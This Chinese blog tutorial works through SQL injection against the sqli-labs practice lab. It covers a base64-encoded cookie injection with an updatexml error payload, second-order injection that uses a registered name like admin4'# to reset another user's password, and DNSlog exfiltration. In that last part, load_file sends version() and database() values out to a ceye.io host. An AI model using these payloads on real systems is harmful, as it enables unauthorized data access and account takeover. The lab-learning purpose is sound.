首页 > 数据库 >WEB漏洞—SQL注入之加解密,二次,DNS等注入

WEB漏洞—SQL注入之加解密,二次,DNS等注入

时间:2023-05-30 21:35:10浏览次数:83  
标签:WEB users 加解密 admin4 +----+----------+------------+ password select 注入

1、加解密注入

sqli-labs-master(LESS-21)靶机示例

数据包抓包,找到cookie数据包

Cookie: uname=YWRtaW4%3D

%3D是URL编码里的=,所以直接改为等号,在base64里解密

这里想要注入直接写and 1=1不现实,对admin' and 1=1加密后再提交给数据包

这里直接报错注入,在这之前需要Base64加密

'or updatexml(1,concat(0x7e,version(),0x7e),0) or'

 

 

2、二次注入

二次注入一般用于白盒测试(能够看到源代码)

应用场景---在前端和URL(黑盒测试)是无法发现二次注入,无法用工具扫描,只有在代码审计时才能发现是否存在二次注入

sqli-labs-master(LESS-24)靶机示例

在命令符中查看现有用户名,注册一个admin4'#

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

 登录成功后修改密码为123456

+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | 123456     |
| 15 | admin4'# | 123123     |
+----+----------+------------+

发现admin4的密码被修改了,而admin4'#没被修改,找到网站相应的php文件查看源代码

//源代码是这样的,把用户带进去
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin4'#' and password='$curr_pass' ";

 这里可以看到'#把后面的 'and password='$curr_pass' "; 给屏蔽掉了,所以选择的是admin4而不是admin4'#

现在在登录或者注册的时候都会遇到限制长度,如果限制语句是写在前端语句中是可以突破的,后端则不行

 

3、dnslog注入

 

DNSlog:解决了盲注不能回显数据,效率低的问题

涉及资源:http://ceye.io

参考资料:https://www.cnblogs.com/xhds/p/12322839.html

mysql> select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.p6clx0.ceye.io\\abc'))),1,0);
Empty set (35.47 sec)

mysql> select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.p6clx0.ceye.io\\abc'))),1,0);
Empty set (33.88 sec)

mysql> select * from users where id=1 and if((select load_file(concat('\\\\',(select database()),'.p6clx0.ceye.io\\abc'))),1,0);
Empty set (33.92 sec)

 

 

 

 

 

 

 

 

 

 

 

 

 

标签:WEB,users,加解密,admin4,+----+----------+------------+,password,select,注入
From: https://www.cnblogs.com/Zx770/p/17444251.html

相关文章

  • 如何使用WebGL绘制图片
    1.获取画布元素:首先需要获取到HTML中的canvas元素,这个元素将作为WebGL渲染的目标。2.获取WebGL上下文:使用canvas元素的getContext()方法获取WebGL上下文,这个上下文是WebGL渲染的核心。3.创建顶点数据:WebGL渲染需要定义顶点数据,这些数据描述了要绘制的形状。在这里,我们需要创建一......
  • WebClient发送get、post请求(form、json)(功能封装)
    1.情景展示Spring3.0引入了RestTemplate,但是在后来的官方源码中介绍,RestTemplate有可能在未来的版本中被弃用,所谓替代RestTemplate,在Spring5中引入了WebClient作为非阻塞式ReactiveHttp客户端。WebClient处理单个HTTP请求的响应时长并不比RestTemplate更快,但是它处理并发的能......
  • JavaWeb
    JavaWeb1、基本概念1.1、前言web开发:web,网页的意思静态webhtml,css提供给所有人看的数据始终不会发生变化动态web几乎所有的网站都是动态的提供给所有人看的数据始终会发生变化,每个人在不同的时间,不同的地点看到的信息各不相同技术栈:Servlet/JSP,ASP,PHP在Java中......
  • webpack5功能升级
    webpack5此版本重点关注以下内容:通过持久缓存提高构建性能.使用更好的算法和默认值来改善长期缓存.通过更好的树摇和代码生成来改善捆绑包大小.清除处于怪异状态的内部结构,同时在v4中实现功能而不引入任何重大更改.通过引入重大更改来为将来的功能做准备,以使我们能够尽......
  • vues全局使用WebSocket
    //import{showInfoMsg,showErrorMsg}from'@/utils/popInfo'//importElementUIfrom'element-ui';import{Toast}from'vant';functioninitWebSocket(baseObj){console.log(baseObj)//constwsUri=WS_API+&quo......
  • windows web服务器代码移植到linux所采的坑
    windowsweb服务器代码移植到linux所采的坑一、导入问题不能直接将编译后的class文件放入linux服务器中,虽说java是跨平台性好,但是windows下的class文件是不能在linux下直接运行的.二、编译问题1.编码问题在linux端编译代码时,最先遇到的就是编码问题,默认是按ACSII码编译的,不行......
  • laravel实现调用 webservice 接口
    1、打开php.ini  放开soap  2、代码实现 ......
  • python selenium web网站登录缺口图片验证码识别
    deflogin():driver=webdriver.Chrome("browser_driver/chromedriver.exe")driver.get("http://xxxxxx/#/login")driver.maximize_window()sleep(1)driver.find_element(By.CSS_SELECTOR,'[placeholder="请输入手机号&qu......
  • java服务端如何接入WebSocket?
    日常工作中,我们都是使用http请求,来进行前后交互,那么我们也会有使用websocket来进行前后交互的时候,那么它俩有什么区别呢?http和websocket区别WebSocket是双向通信协议,模拟Socket协议,可以双向发送或接受信息HTTP是单向的WebSocket是需要浏览器和服务器握手进行建立连接的而http......
  • ABP - 依赖注入(2)
    依赖注入的使用构造方法注入这是将服务注入类的最常用方法,是将依赖项注入类的首选方式,也是微软推崇的模式。这样,除非提供了所有构造方法注入的依赖项,否则无法构造类,显示的声明了类必需的服务,使开发人员一目了然。publicclassBookAppService:ApplicationService{priv......